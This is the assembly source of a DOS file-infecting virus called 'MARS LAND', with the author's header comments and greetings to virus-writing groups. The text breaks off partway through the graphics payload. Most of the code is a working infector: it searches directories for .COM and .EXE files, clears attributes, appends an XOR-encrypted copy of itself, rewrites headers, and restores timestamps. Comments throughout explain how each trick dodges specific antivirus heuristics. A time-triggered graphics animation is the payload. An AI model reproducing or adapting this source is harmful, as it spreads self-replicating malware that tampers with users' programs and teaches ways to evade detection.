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1135 lines
39 KiB
NASM
1135 lines
39 KiB
NASM
; MARS LAND virus by Spanska
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; Called Spanska.1500 by AV people
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; This is my third virus
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;
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;*********************************************************************
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;
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; THIS VIRUS IS DEDICATED TO... uhhh... nobody this time :)
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;
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; Or maybe to all the virus coders who do not destruct with
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; their creations. I've put the phrase "Coding a virus can
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; be creative" to show that an original infection routine,
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; a funny payload or a new mutation engine, are far more
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; interesting for the coder and for other people than stupid
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; destruction.
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; I worked some weeks on this virus graphic effect. A simple
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; routine to delete a hard drive would have taken me one
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; minute to copy/paste it. So, no interest.
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;
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; Greets to Griyo (best virus coder on this side of the
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; galaxy), MrSandman and other guys from 29A (the best group!),
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; to Roadkill, Slacker, and friends on IRC (from Luxembourg,
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; Spain, Sweden and everywhere), Poltergst and Cicatrix for
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; their job on the web. And to the very few french virus
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; coders, or even fighters (salut Jean-Luc!).
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;
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;******************************contact me at el_gato@rocketmail.com***
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;
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; At the time it was released (march 97), the detection was:
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; TBSCAN flags: c?K on .exe's, nothing on .com's
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; FPROT: "ear variant" on unencrypted generation 0, nothing after
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; DrSolly Findvirus: nothing
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; DrWeb: nothing
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; AVP: nothing
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; (i saw in newsgroups that a scanner i can't remember flags it
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; sometimes like a Whale variant, never happened to me)
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;
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; generation zero size: 1660
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; virus size: 1500
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;
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; compile it with TASM /m2 and TLINK /t
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;
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; Properties:
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; simple .com/.exe runtime infector
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; file search routine is essentially derived from my NO PASARAN virus
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; not destructive
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; encrypted with variable key
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; infects 3 .com and 3 .exe each run
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; infects current directory, than upper directories
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; when it reaches the root, it starts infecting all "level1" subdirectories
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; does not infect files <500 bytes, nor command.com
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; the VGA graphic bomb (a 3D voxel effect) explodes
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; when minutes=30 and seconds<30 (1/120)
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code segment
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assume ds:code, ss:code, cs:code, es:code
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org 100h
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;
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;---------------fake host code--------------------
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;
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hote:
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call virus ;jump to viral code (avoid J flag)
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signature db "ee" ;virus signature
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nop ;
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nop ;fake host
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nop ;
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nop ;
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mov ah, 4ch ;finished
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mov al,0 ;go to
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int 21h ;DOS
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;**********************************************************************
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; START OF VIRAL CODE
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;**********************************************************************
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virus: ;virus starts here
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;
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;-------------in case of an exe, let's work in cs--------------
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;
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push ds ;save ds on stack... Don't forget it...
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push cs ;we are in the virus segment
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push cs ;so we have to adjust
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pop es ;ds and es to point
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pop ds ;to this segment
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;
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;---------------get delta offset----------------------------
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;
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call $+3 ;modified classic
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delta: ;routine to
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mov bp, sp ;avoid flag E
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mov ax, [bp] ;
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add word ptr [bp], decrypte-delta ;thanks Slacker's Theory
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sub ax, offset delta ;of Code through Obscurity!
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mov bp, ax
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ret
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clef db 0 ;the crypting key
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;=== this stosb ===
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;=== when outside decrypt loop ===
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;=== does not flag # ===
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baise_flag_cryptage: ;===
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stosb ;=========>>> NO MORE FLAG "#" !!!!!
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ret ;===
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;===================================
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;
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;----------------------decrypting routine-------------------------
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;
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decrypte:
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mov dl, [bp+offset clef] ;actual key in dl
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mov cx, fin_cryptage - debut_cryptage ;number of bytes to decrypt
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lea si, [bp+offset debut_cryptage] ;si=start of zone to decrypt
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mov di, si ;di=start of zone to decrypt
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xor_loop: ;decrypt loop
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lodsb ;get byte to decrypt in al
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nop ;just here to make a 1500 bytes virus ;)
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xor al, dl ;the byte is decrypted with the key
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call baise_flag_cryptage ;call the outside stosb (avoid flag #)
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loop xor_loop ;finish decryption
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debut_cryptage: ;start of the crypted zone
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;
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;------transfert of infected file information on another zone---------
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; (for final normal execution of the program)
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;
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lea si, [bp+offset pip] ;from this zone
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lea di, [bp+offset vip] ;to this zone
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movsw
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movsw ;we transfer 8 bytes
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movsw
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movsw
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;
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;---------------initialisation to 0 of directory counter--------------
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; and 2 infection counters (com and exe)
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;
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lea di, [bp+offset phase] ;they are here
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xor ax, ax ;put them to zero
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stosw ;(3 counters = 3 bytes)
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stosb
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;
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;--------------------remember current repertory------------------
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;
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lea si, [bp+offset repert] ;si on good memory zone
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xor dl, dl ;dl=0 is default unit
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mov ah, 47h ;47h=current dir in memory
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int 21h ;go!
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;
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;---------------DTA go to a predefined zone in memory-------------
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;
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push 1a00h ;push/pop to
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pop ax ;avoid flag F
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lea dx, [bp+offset dta]
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int 21h
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;**********************************************************************
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; .COM INFECTION
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;**********************************************************************
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;
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;-----------------find first .com file-------------------------
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;
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recherche:
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mov cx, 0007h ;attributes
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lea dx, [bp+offset file_com] ;file mask for a .com
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mov ax, 4e00h ;4eh=find first file
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int 21h ;file found?
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jnc sauter_suivant ;yes => c=0, let's continue
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jmp infecte_exe ;no => go to .exe infection
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;
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;---------------------find next .com file-------------------------
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;
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fichier_suivant:
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lea dx, [bp+offset file_com] ;
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mov ax, 4f00h ;4Fh=find next file
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mov cx, 0007h
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int 21h ;file found?
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jnc saut5 ;yes => c=0, let's continue
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jmp infecte_exe ;no => go to .exe infection
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saut5:
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;
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;---------------verify if extension is really .com---------------------
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; (it's made to avoid flag S with tbscan)
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;
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sauter_suivant:
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call verifie_extension ;call verification routine
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cmp word ptr [si], "MO" ;second and third letters are "OM"?
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jne fichier_suivant ;no => find next .com file
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;
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;----------------verify if it's command.com----------------------------
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;
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cmp word ptr [bp+offset dta+1eh+2], "MM" ;test 3rd and 4th letter
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je fichier_suivant ;yes => find next file
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;
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;--------------attributes to 0 to infect special files-------------
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;
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call attrib_a_zero
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;
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;--------------------open file, and verify header-----------------------
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;
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call ouvre_et_verif_header
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jmp fichier_suivant ;if header not good (already infected)
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;we get here and search another file
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;if header good we get here on routine return
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;
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;--------transfer 5 first bytes of the .com to another zone----------
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;
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lea si, [bp+offset exehead]
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lea di, [bp+offset cinq_octets]
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movsw
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movsw
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movsb
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;
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;-----------before infection, change of the crypting key-----------
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;
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call change_clef
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;
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;------------disk file pointer at the end-----------
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;
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mov ax, 4202h
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xor cx, cx
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mov dx, cx
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int 21h
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;
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;-----------------------infection-----------------------------------
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;
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call infecte
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;
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;--overwrite 5 first bytes on the disk by jump to virus code + signature---
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;
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;1) move disk file pointer to start of the file
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;
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call pointeur_debut
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;
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;2) calculate initial jump and write all on a temp zone in memory
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;
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lea di, [bp+offset cinq_octets]
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mov al, 0E8h ;E8=opcode of CALL
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stosb
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mov ax, word ptr [bp+offset dta+1ah] ;ax=file size
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sub ax, 3 ;this is because of the CALL
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stosw
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mov ax, "ee" ;signature
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stosw
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;
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;3) overwrite 5 first bytes on the file
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;
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mov cx,5
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lea dx, [bp+offset cinq_octets]
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call ecrit_fichier
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;
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;----------------restore time/date of the file--------------------
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;
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call restaure_time
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;
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;------------close file and restore file attributes--------------------
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;
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call remise_en_etat
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;
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;--------verify how many .com files we have infected------------------
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;
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mov byte ptr cl, [bp+offset compteur_com] ;infection counter in cl
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inc cl ;one more
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cmp cl, 3 ;have we infected 3 .com files?
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je infecte_exe ;yes => let's infect .exe now
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mov byte ptr [bp+offset compteur_com], cl ;no => write new value of counter
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;
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;-----------------let's infect a new .com file------------------
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;
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jmp fichier_suivant ;go infect next file
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;**********************************************************************
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; .EXE INFECTION
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;**********************************************************************
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infecte_exe:
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;
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;------------------find first .exe file-------------------------
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;
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recherche_exe:
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mov cx, 0007h ;attributes
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lea dx, [bp+offset file_exe] ;file mask for a .exe
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mov ax, 4e00h ;4eh=find first file
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int 21h ;file found?
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jnc sauter_exe_suivant ;yes => c=0, let's continue
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jmp rep_sup ;no => go to upper directory
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;
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;------------------find next file-------------------------
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;
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exe_suivant:
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lea dx, [bp+offset file_exe] ;file mask for a .exe
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mov ax, 4f00h ;4Fh=find next file
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mov cx, 0007h ;attributes
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int 21h ;file found?
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jnc saut_exe ;yes => c=0, let's continue
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jmp rep_sup ;no => go to upper direcory
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saut_exe: ;
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;
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;---------------verify if extension is really .com---------------
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; (it's made to avoid flag S with tbscan)
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;
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sauter_exe_suivant:
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call verifie_extension ;call verification routine
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cmp word ptr [si], "EX" ;second and third letters are "OM"?
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jne exe_suivant ;no => find next .exe file
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;
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;------------attributes to 0 to infect special files-------------
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;
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call attrib_a_zero
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call ouvre_et_verif_header
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jmp exe_suivant ;if header not good (already infected or
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;windows file) we get here and search
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;another file
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;if header good, we get here
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;
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;------------verify that it's really a .exe with MZ header----------------
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;
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lea si, [bp+offset exehead]
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lodsw
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add ah, al ;to avoid flag Z
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cmp ah, 167 ;(M+Z in ASCII is 167)
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jne exe_suivant ;if it's not MZ or ZM, find next .exe file
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;
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;-----------before infection, change the crypting key-----------
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;
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call change_clef
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;
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;----------------save old .exe header values-------------------------
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;
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lea di, [bp+offset pIP]
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mov ax, word ptr [bp+ exehead+14h] ;save IP
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stosw
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mov ax, word ptr [bp+ exehead+16h] ;save CS
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stosw
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mov ax, word ptr [bp+ exehead+0Eh] ;save SS
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stosw
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mov ax, word ptr [bp+ exehead+10h] ;save SP
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stosw
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;
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;---------disk file pointer at the end (return dx:ax = size)---------
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;
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mov bx, [bp+offset handle]
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mov ax, 4202h
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xor cx, cx
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xor dx, dx
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int 21h
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push ax ;save size on stack
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push dx ;useful for next calculations
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;
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;----------------calculate new cs:ip---------------------------------
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;
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push ax
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mov ax, word ptr [bp+exehead+08h]
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mov cl, 4
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shl ax, cl
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mov cx, ax
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pop ax
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sub ax, cx
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sbb dx, 0
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mov cl, 0Ch
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shl dx, cl
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mov cl, 4
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push ax
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shr ax, cl
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add dx, ax
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shl ax, cl
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pop cx
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sub cx, ax
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mov word ptr [bp+ exehead+14h], cx ;new calculated values
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mov word ptr [bp+ exehead+16h], dx ;put in the header zone
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mov word ptr [bp+ exehead+0Eh], dx ;in memory
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mov word ptr [bp+ exehead+10h], 0FFFEh
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;
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;-----------------calculate new size---------------------------
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;
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pop dx
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pop ax
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push ax
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add ax, fin_cryptage-virus
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adc dx, 0
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mov cl, 7
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shl dx, cl
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mov cl, 9
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shr ax, cl
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add ax, dx
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inc ax
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mov word ptr [bp+ exehead+04h], ax
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pop ax
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add ax, fin_cryptage-virus
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and ah, 1
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mov word ptr [bp+ exehead+02h], ax
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;
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;-----------------write signature----------------------------------
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;
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mov word ptr [bp+exehead+12h], "ee"
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;
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;--------------------infection---------------------
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;
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call infecte
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;
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;----------write new header of the infected file on disk---------------------
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;
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mov ax, 4200h
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push ax ;this stupid push/pop
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pop ax ;to avoid DrWeb heuristic
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xor cx, cx
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xor dx, dx
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int 21h ;pointer at start of file on disk
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mov cx, 1Ch
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lea dx, [bp+exehead]
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call ecrit_fichier ;write on disk modified header
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;
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;----------restore time/date of the file--------------------
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;
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call restaure_time
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;
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;----------close file and restore file attributes----------------------
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;
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call remise_en_etat
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;
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;--------verify how many .exe files we have infected------------------
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;
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mov byte ptr cl, [bp+offset compteur_exe] ;counter in cl
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inc cl ;one more
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cmp cl, 3 ;we infect 3?
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je bombe_ou_pas ;yes => let's stop infections
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mov byte ptr [bp+offset compteur_exe], cl ;no => write counter
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;
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;--------let's infect a new .exe file------------------
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;
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jmp exe_suivant ;go infect next file
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;
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;--------------------does the bomb explode?---------------------
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;
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bombe_ou_pas:
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mov ah, 2Ch ;internal clock: ch=hour et cl=minute
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int 21h
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cmp cl, 30d ;minutes = 30?
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jne redonne_main ;no => return to host
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cmp dh, 30d ;yes => test seconds
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ja redonne_main ;if secondes > 30 we return to host
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jmp bombe ;if seconds <30 (1/120) the bomb explodes
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;**********************************************************************
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; RETURN TO HOST
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;**********************************************************************
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redonne_main:
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;------------------DTA in the normal zone-----------------------------
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; (to avoid perturbing host program)
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;
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push 1a00h ;push/pop
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pop ax ;to avoid flag F
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mov dx, 80h ;to 80h, the normal zone
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int 21h
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;
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;--------restore the directory in which we were when we started-----------
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;
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lea dx, [bp+offset repert]
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mov ax, 3B00h ;3bh=change directory
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int 21h
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;
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;-----------active host is a .com or a .exe?-------------------
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;
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cmp byte ptr cs:0, 0CDh ;a .com file have an Int20h
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je redonne_main_com ;(word CD 20) at offset 0
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;
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;-------------return to an .exe---------------------------
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;
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redonne_main_exe:
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pop ds ;remember the very first push ds
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push ds
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pop es ;get es=ds
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mov ax, es
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add ax, 10h
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add word ptr cs:[bp+vCS], ax
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cli
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add ax, word ptr cs:[bp+vSS] ;adjust stack pointers
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mov ss, ax
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mov sp, word ptr cs:[bp+vSP]
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sti
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jmp retour_au_prog
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cinq_octets:
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pip db 90h,90h ;zone to keep file information
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pcs db 90h,90h ;EXE: keep ip, cs, ss, sp
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pss db 90h,90h ;COM: keep 5 first bytes
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psp db 90h,90h
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retour_au_prog:
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db 0EAh ;far jump opcode, for .exe
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contenu:
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vIP dw 0 ;zone to keep temporarly file info
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vCS dw 0 ;EXE: keep ip, cs, ss, sp
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vSS dw 0 ;COM: keep 5 first bytes
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vSP dw 0
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;
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;-----------------------return to a .com---------------------------
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;
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redonne_main_com:
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pop ax ;clean stack (remember first push ds)
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;
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;---------replace 5 first bytes of the host in memory----------
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;
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lea si, [bp+offset contenu] ;memory zone where they are
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mov ax, 101h ;this is to
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dec ax ;avoid flag B in TBSCAN
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mov di, ax ;a .com start at offset 100h
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movsw
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movsw
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movsb ;move 5 bytes
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;
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;-----------------------return to host----------------------------
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; (remember the very first CALL: we have 103h on the stack)
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;
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redonner_la_main:
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pop ax ;get 103h
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sub ax, 3 ;we want 100h
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push ax ;re-put it on stack (for the RET)
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xor ax, ax ;a starting program
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xor bx, bx ;likes to find all
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xor cx, cx ;registers equals
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xor dx, dx ;to zero
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ret ;return to normal program
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;**********************************************************************
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; CHANGE DIRECTORY
|
|
;**********************************************************************
|
|
|
|
;
|
|
;----------climb to upper directory--------------------------
|
|
;
|
|
rep_sup:
|
|
lea dx, [bp+offset dot] ;let's go to ".." repertory
|
|
mov ah, 3bh
|
|
int 21h ;are we in the root?
|
|
jc on_redescend ;yes => c=1, let's go down now
|
|
jmp recherche ;no => find first file
|
|
;
|
|
;---if we are in root, let's go to all "first-level" subdirectories-------
|
|
;
|
|
on_redescend:
|
|
mov ah, 4eh ;find first file
|
|
mov cx, 16 ;with directory attribute
|
|
lea dx, [bp+offset dir_masque] ;called "*.*"
|
|
int 21h ;one found?
|
|
jnc contin ;yes => continue
|
|
jmp bombe_ou_pas ;no => test time for the bomb
|
|
contin:
|
|
|
|
cmp byte ptr[bp+offset phase], 0 ;how is the dir counter (called phase)?
|
|
je le_premier ;phase=0 => do not find next dir
|
|
|
|
xor bh, bh
|
|
mov bl, byte ptr [bp+offset phase] ;bx=phase
|
|
|
|
rep_suivant: ;loop to avoid all subdir already infected
|
|
mov cx, 16 ;directory attributes
|
|
mov ah, 4fh ;find next dir
|
|
int 21h ;one found?
|
|
jnc contin2 ;yes => continue
|
|
jmp bombe_ou_pas ;no => test time for the bomb
|
|
contin2:
|
|
|
|
cmp byte ptr [bp+offset dta+15h], 16 ;is it really a directory?
|
|
jne rep_suivant ;no => find next
|
|
|
|
dec bx ;this routine is made to infect
|
|
cmp bx, 0 ;directory "number phase"
|
|
jne rep_suivant ;if bx<>0, the subdir is already infected
|
|
|
|
le_premier:
|
|
add byte ptr[bp+offset phase], 1 ;OK, we are on a subdir not infected
|
|
|
|
lea dx, [bp+offset dta+1eh] ;so, let's change
|
|
mov ah, 3bh ;directory to it
|
|
int 21h
|
|
|
|
jmp recherche ;and infect this new subdirectory
|
|
|
|
;**********************************************************************
|
|
; ROUTINE OFTEN USED (to save bytes)
|
|
;**********************************************************************
|
|
|
|
;-------------------verify extension-------------------------
|
|
|
|
verifie_extension:
|
|
mov cx, 13d ;max size of a file name (not really, but
|
|
lea si, [bp+offset dta+1eh] ;who cares? I've stolen this routine somewhere)
|
|
compare: ;loop for detecting start of the extension
|
|
lodsb ;letter in al
|
|
cmp al, "." ;is it a point?
|
|
jne compare ;no => test next letter
|
|
inc si ;yes => si points on second extension letter
|
|
ret
|
|
|
|
;------------------change crypting key---------------
|
|
|
|
change_clef:
|
|
mov ah, 2Ch ;internal clock
|
|
int 21h ;cx get quite randomic
|
|
mov [bp+offset clef], cl ;let's keep it somewhere
|
|
ret
|
|
|
|
;------------------------open file-------------------------
|
|
|
|
ouvre_et_verif_header:
|
|
mov ax, 3D02h ;3D02h=open file
|
|
lea dx, [bp+offset dta+1eh] ;name of the file in DTA
|
|
int 21h
|
|
jnc saut2 ;one file found, c=0, continue
|
|
jmp remise_en_etat ;not found => arrange file
|
|
saut2: ;continue
|
|
mov [bp+offset handle],ax ;keep handle in memory
|
|
;
|
|
;----------------read first 1Ch bytes of the file-----------------
|
|
;
|
|
xchg ax, bx ;handle in ax
|
|
mov cx, 1Ch ;number of bytes to read
|
|
mov ax, 3F00h ;3F=read file
|
|
lea dx, [bp+offset exehead] ;dx on stockage zone
|
|
int 21h
|
|
jnc saut3 ;no problem, c=0, continue
|
|
jmp remise_en_etat ;problem => arrange file
|
|
saut3: ; continue
|
|
;
|
|
;-----------is the file already infected?-------------
|
|
;
|
|
cmp byte ptr [bp+offset exehead+18h], 40h ;is it a windows file?
|
|
jz deja_infecte ;yes => don't touch
|
|
cmp word ptr [bp+offset exehead+3], "ee" ;.com already infected?
|
|
jz deja_infecte ;yes => don't touch
|
|
cmp word ptr [bp+offset exehead+12h], "ee" ;.exe already infected?
|
|
jnz saut4 ;no => continue
|
|
deja_infecte:
|
|
jmp remise_en_etat ;let's arrange the file
|
|
saut4: ;continue
|
|
;
|
|
;--------------------is the size correct?-------------------
|
|
;
|
|
cmp [bp+offset dta+1ah], 500 ;do not infect if file<500 bytes
|
|
ja verif_ok ;it's OK
|
|
;
|
|
;--------arrange file and close it in case of non-infection-----------
|
|
;
|
|
remise_en_etat:
|
|
mov ah, 3Eh ;3Eh=close file
|
|
int 21h
|
|
;
|
|
;-----------------restore file attributes-----------------------
|
|
;
|
|
call restaure_attrib ;restore attributes
|
|
;
|
|
;------after arranging the file, let's go back to the CALL-------
|
|
;
|
|
ret
|
|
;
|
|
;----------------------if it's good to infect,-------------------
|
|
; let's go back one instruction after the call
|
|
;
|
|
verif_ok:
|
|
pop ax ;get offset of the return on the stack
|
|
add ax, 2 ;add 2 (size of a short JMP)
|
|
push ax ;put it back on the stack
|
|
ret ;return 2 bytes after the call
|
|
|
|
;-----------------------------infection--------------------------
|
|
|
|
;first, let's write non-encrypted part
|
|
|
|
infecte:
|
|
mov cx, debut_cryptage - virus ;size of non-encrypted part
|
|
lea dx, [bp+offset virus] ;dx on beginning of this part
|
|
call ecrit_fichier ;write this on disk
|
|
|
|
;second, let's crypt next part in memory
|
|
|
|
mov dl, [bp+offset clef] ;dl=new key
|
|
lea si, [bp+offset debut_cryptage] ;si=start of crypted zone
|
|
lea di, [bp+offset zone_de_travail] ;di=temp memory zone for crypting
|
|
mov cx, fin_cryptage - debut_cryptage ;cx=number of bytes to crypt
|
|
crypte_et_transfere: ;the loop
|
|
lodsb ;get original byte
|
|
xor al, dl ;crypt it
|
|
stosb ;put it on memory
|
|
loop crypte_et_transfere ;again
|
|
|
|
;third, disk writing of the crypted zone
|
|
|
|
mov cx, fin_cryptage - debut_cryptage ;number of bytes to write
|
|
lea dx, [bp+offset zone_de_travail] ;dx=offset of the temp zone
|
|
call ecrit_fichier ;write it on disk
|
|
ret
|
|
|
|
;-------------------modify attributes-------------------------
|
|
|
|
attrib_a_zero:
|
|
xor cx, cx ;if we want to put attrib to zero
|
|
jmp suite_attrib
|
|
|
|
restaure_attrib:
|
|
xor ch, ch ;if we want to restore attrib
|
|
mov cl, byte ptr [bp+offset dta+15h] ;from the DTA value
|
|
|
|
suite_attrib:
|
|
lea dx, [bp+offset dta+1eh] ;file name
|
|
push 4301h ;43h=change attribs
|
|
pop ax ;avoid flag F from TBSCAN
|
|
int 21h
|
|
ret
|
|
|
|
;---------------------restore file time/date-----------------------
|
|
|
|
restaure_time:
|
|
mov dx, word ptr [bp+offset dta+18h] ;date from DTA to dx
|
|
mov cx, word ptr [bp+offset dta+16h] ;time from DTA to cx
|
|
push 5701h ;5701h=change time/date
|
|
pop ax ;avoid flag F from TBSCAN
|
|
int 21h
|
|
ret
|
|
|
|
;------------------write file on disk----------------------
|
|
|
|
ecrit_fichier:
|
|
push 4000h ;the famous 40Hex... push/pop to
|
|
pop ax ;avoid DrSolomon and DrWeb heuristic
|
|
int 21h
|
|
ret
|
|
|
|
;--------------------move pointer on disk---------------------------
|
|
|
|
pointeur_debut: ;to put pointer at the beginning
|
|
xor dx, dx
|
|
pointeur_debut_sans_dx: ;i think i don't use this... never mind
|
|
xor cx, cx
|
|
mov ax, 4200h ;42h=move disk pointer
|
|
push ax ;stupid push/pop to avoid
|
|
pop ax ;DrWeb heuristic
|
|
int 21h
|
|
ret
|
|
|
|
;**********************************************************************
|
|
; CODE OF THE GRAPHIC BOMB: A 3D VOXEL EFFECT
|
|
;**********************************************************************
|
|
bombe:
|
|
largeur equ 128 ;size of the grid
|
|
|
|
;-------------------------VGA-------------------------------
|
|
|
|
mov ax, 13h
|
|
int 10h
|
|
|
|
;----------------------black palette--------------------------------
|
|
; because mountains are calculated directly on screen)
|
|
|
|
mov dx, 3c8h ;dx = palette port
|
|
xor al, al ;start with color 0
|
|
out dx, al ;write first color in the port
|
|
inc dx ;define all others colors
|
|
mov cx, 768 ;256 colors x 3 composantes, all at zero
|
|
tout_noir:
|
|
out dx, al ;write black on port
|
|
loop tout_noir
|
|
|
|
;---------draw to an area of the screen some big blocks----------
|
|
; area used: 50 lines x 128 columns on the left top
|
|
|
|
mov ax, 0A000h ;video memory
|
|
mov es, ax ;in es
|
|
mov cx, 150 ;number of blocks
|
|
boucle:
|
|
mov ax, [bp+offset aleat]
|
|
mov dx, 8405h ;semi-random routine stolen
|
|
mul dx ;in a fire demo
|
|
inc ax ;give a random dx
|
|
mov [bp+offset aleat], ax
|
|
push dx ;dl = random byte for the line
|
|
shr dl, 1 ;now 0<dl<128
|
|
shr dl, 1 ;now 0<dl<64
|
|
cmp dl, 41 ;if dl>41
|
|
ja pas_pixel ;we don't draw it
|
|
cmp dl, 5 ;if dl<5
|
|
jb pas_pixel ;we don't draw it
|
|
mov ax, 320 ;calculation of video offset
|
|
xor dh, dh ;we have to multiply just dl
|
|
mul dx ;by 320
|
|
pop dx ;dh = random byte for the column
|
|
cmp dh, 112 ;if dh>112
|
|
ja pas_pixel ;we don't draw it
|
|
cmp dh, 8 ;if dh<8
|
|
jb pas_pixel ;we don't draw it
|
|
xor dl, dl ;we have to multiply just dh
|
|
xchg dl, dh ;we put it in dl
|
|
add ax, dx ;let's add line*320 and column => random place
|
|
xchg di, ax ;this random offset in di
|
|
mov al, 255 ;big blocks are in color 255
|
|
push cx ;save loop counter
|
|
mov bl, 4 ;blocks are 4 pixels tall
|
|
gros_pixel:
|
|
mov cx, 10 ;blocks are 10 pixels wide
|
|
rep stosb ;write them on screen...
|
|
add di, 310
|
|
dec bl
|
|
jne gros_pixel
|
|
pop cx
|
|
pas_pixel:
|
|
loop boucle
|
|
|
|
;-----soften blocks to get mountains, by a immobile fire effect----------
|
|
|
|
;here es=video
|
|
mov ax, cs ;get cs
|
|
add ah, 16 ;add to it 256*16 bytes to get ds
|
|
mov ds, ax ;ds now points on a free segment (i hope so :)
|
|
push ds ;on the stack (cf [@@] later)
|
|
|
|
mov bl, 25 ;bl = number of degradation cycles
|
|
cycle:
|
|
xor si, si ;ds:si=free segment
|
|
xor di, di ;es:di=video
|
|
xor ax, ax
|
|
mov cx, 50*320 ;we degrade on 50 first lines of the screen
|
|
degrade:
|
|
mov al, es:[di-1]
|
|
add al, es:[di+1]
|
|
adc ah,0
|
|
add al, es:[di+320] ;sum all pixels colors around offset di
|
|
adc ah,0
|
|
add al, es:[di-320]
|
|
adc ah,0
|
|
shr ax, 1
|
|
shr ax, 1 ;divide this color by 4, so it's the average
|
|
je pas_dec ;if color=0, color stays to 0
|
|
dec al ;on other case, we decrement color
|
|
pas_dec:
|
|
mov byte ptr ds:[si], al ;new color value in free segment
|
|
inc si
|
|
inc di
|
|
loop degrade ;loop for all the 50x128 area
|
|
|
|
xor si, si ;one degradation cycle finished:
|
|
xor di, di ;we copy all the area
|
|
mov cx, (50*320)/2 ;from the free segment
|
|
rep movsw ;to video memory
|
|
|
|
dec bl ;one cycle more
|
|
jne cycle ;25 cycles? No => again
|
|
|
|
;we now have on the screen (but we can't see it
|
|
;because all is black) soft spots, this is the
|
|
;landscape in 2D
|
|
|
|
;--------------creation of the 3D table (x,y,z)------------------------
|
|
; from the 2D landscape on screen; this table is
|
|
; 128x50x(1+1+2) = 25 Ko, this is why we need one free segment
|
|
|
|
;here es=video ds=free segment
|
|
push es ;we want ds=video et es=free segment
|
|
push ds
|
|
pop es
|
|
pop ds
|
|
|
|
mov cx, largeur*50+2 ;there will be 128x50 coordinates (+2 for security)
|
|
xor si, si ;start of video memory
|
|
xor di, di ;start of free segment
|
|
mov dl, 128 ;we need a line counter
|
|
table:
|
|
|
|
mov ah, dl ;the X (left/right): between 0 and 128
|
|
shl ah, 1 ;now between 0 and 256
|
|
mov al, 128
|
|
sub al, ah ;now between -128 and +128
|
|
stosb ;put it on free segment
|
|
|
|
movsb ;the Y (top/bottom) is directly the pixel color
|
|
dec dl ;see if we are at the end of the line
|
|
jne pas_fin_de_ligne ;if dl<>0 we are not
|
|
mov dl, 128 ;if dl=0 the line counter is re-put to 128
|
|
add si, 320-largeur ;and the video offset go to next line
|
|
pas_fin_de_ligne:
|
|
|
|
mov ax, cx ;the Z (near/far): between 0 and 50*128
|
|
shl ax, 1 ;now between 0 and 50*256
|
|
xor al, al ;we just need ah (between 0 and 50)
|
|
xchg ah, al ;put it on al
|
|
shl al, 1 ;now between 0 and 100
|
|
shl al, 1 ;now between 0 and 200
|
|
add ax, 0080h ;now between 128 and 328 (nearest Z will be 128)
|
|
stosw ;put it on free segment
|
|
loop table ;calculate all table
|
|
|
|
;------------------delete the 2D landscape------------------------
|
|
|
|
;here ds=video es=free segment
|
|
push ds
|
|
pop es
|
|
xor di, di ;from the beginning of screen
|
|
mov cx, (320*50)/2 ;delete all the 50 lines
|
|
xor ax, ax ;with words=0, faster than bytes
|
|
rep stosw ;delete all
|
|
|
|
;---------put text cursor at good coordinates on screen-----------------
|
|
|
|
mov dx, 030Ah ;dh, dl = line/column coordinates
|
|
xor bh, bh ;on page 0
|
|
mov ah,02h ;int BIOS 02h=put cursor
|
|
int 10h
|
|
|
|
;--------------write the 2 text messages-------------------------
|
|
|
|
;ici ds=es=video
|
|
push cs
|
|
pop ds
|
|
lea si, [bp+offset message] ;si points on message
|
|
mov cx, 21 ;message length
|
|
affiche_message:
|
|
lodsb ;get letter
|
|
mov bl, 125 ;color=red
|
|
mov ah, 0Eh ;int BIOS OEh=write one letter
|
|
int 10h
|
|
loop affiche_message
|
|
|
|
add dx, 507 ;adjust coordinates for second message
|
|
mov ah, 02h ;int BIOS 02h=put cursor
|
|
int 10h
|
|
lea si, [bp+offset messag2] ;si points on message
|
|
mov cx, 32 ;message length
|
|
affiche_messag2:
|
|
lodsb ;get letter
|
|
mov bl, 50 ;color=yellow
|
|
mov ah, 0Eh ;int BIOS OEh=write one letter
|
|
int 10h
|
|
loop affiche_messag2
|
|
|
|
;------------------adjust martian palette----------------------------
|
|
|
|
mov dx, 3c8h ;dx = palette port
|
|
xor al, al ;start with color 0
|
|
out dx, al ;write first color in port
|
|
inc dx ;define all other colors
|
|
|
|
xor cx, cx ;starts with black
|
|
rouges:
|
|
mov al, cl
|
|
out dx, al ;loop to define all 63 first colors
|
|
xor ax, ax ;with a growing red
|
|
out dx, al
|
|
out dx, al
|
|
inc cl
|
|
cmp cl, 63
|
|
jne rouges
|
|
|
|
xor cx, cx
|
|
jaunes:
|
|
mov al, 63
|
|
out dx, al
|
|
mov al, cl ;loop to define 63 next colors
|
|
out dx, al ;with a growing green
|
|
xor al, al
|
|
out dx, al
|
|
inc cx
|
|
cmp cx, 63
|
|
jne jaunes
|
|
|
|
|
|
;-------------------animation of the landscape------------------------
|
|
|
|
;here ds=cs, es=video
|
|
pop ds ;ds points to free segment [@@] see above
|
|
anime: ;get here when one screen is totally drawn
|
|
mov cx, largeur*50 ;we will draw 50x128 voxels
|
|
xor si, si ;ds:si=where 3D coordinates are (free seg)
|
|
xor di, di ;es:di=video
|
|
dessine: ;get here when one voxel is drawn
|
|
lodsb ;put X in al
|
|
xchg dl, al ;transfer it in dl
|
|
lodsb ;put Y in al
|
|
xchg bl, al ;transfer it in bl
|
|
mov byte ptr bh, ds:[si+3+4] ;put NEXT_Y (for the shadow effect) in bh
|
|
lodsw ;put Z in ax
|
|
mov word ptr cs:[bp+offset z], ax ;not enough registers: put Z in memory
|
|
cmp ax, 0080h ;is the voxel at the nearest limit?
|
|
ja ca_sort_pas ;no => it can advance more
|
|
add ax, 200 ;yes => return at the farest limit
|
|
ca_sort_pas:
|
|
dec ax ;it advances: the Z decrements
|
|
mov word ptr ds:[si-2], ax ;and we write this new Z as new coordinate
|
|
|
|
;------calculate xx and yy (2D screen) from x, y and z (3D space)------
|
|
; by a perspective effect
|
|
; (remember: X is in dl, Y in bl, Z in its memory location)
|
|
|
|
push cx ;we will need cx here, so save it on stack
|
|
xchg ah, dl ;X coordinate from dl to ah
|
|
cmp ah, 128 ;X positive?
|
|
jb suite5 ;yes => no problem
|
|
neg ah ;no => let's "positive" it
|
|
mov byte ptr cs:[bp+offset signe],1 ;and let's remember it was negative
|
|
suite5: ;NB: calculations are in "fixed point" mode
|
|
xor al, al ;X is in ah: same "order" than Z (word)
|
|
xor dx, dx ;dx will not fuck up the division
|
|
div word ptr cs:[bp+offset z] ;X/Z
|
|
push ax ;result is the 2D coordinate (XX), push it
|
|
|
|
mov al, bl ;Y coordinate from bl to al
|
|
mov cl, 4 ;divise Y/16 to have a mountain height
|
|
shr al, cl ;between 0 and 16
|
|
mov ah, 80 ;beware: mountains are "top on bottom"
|
|
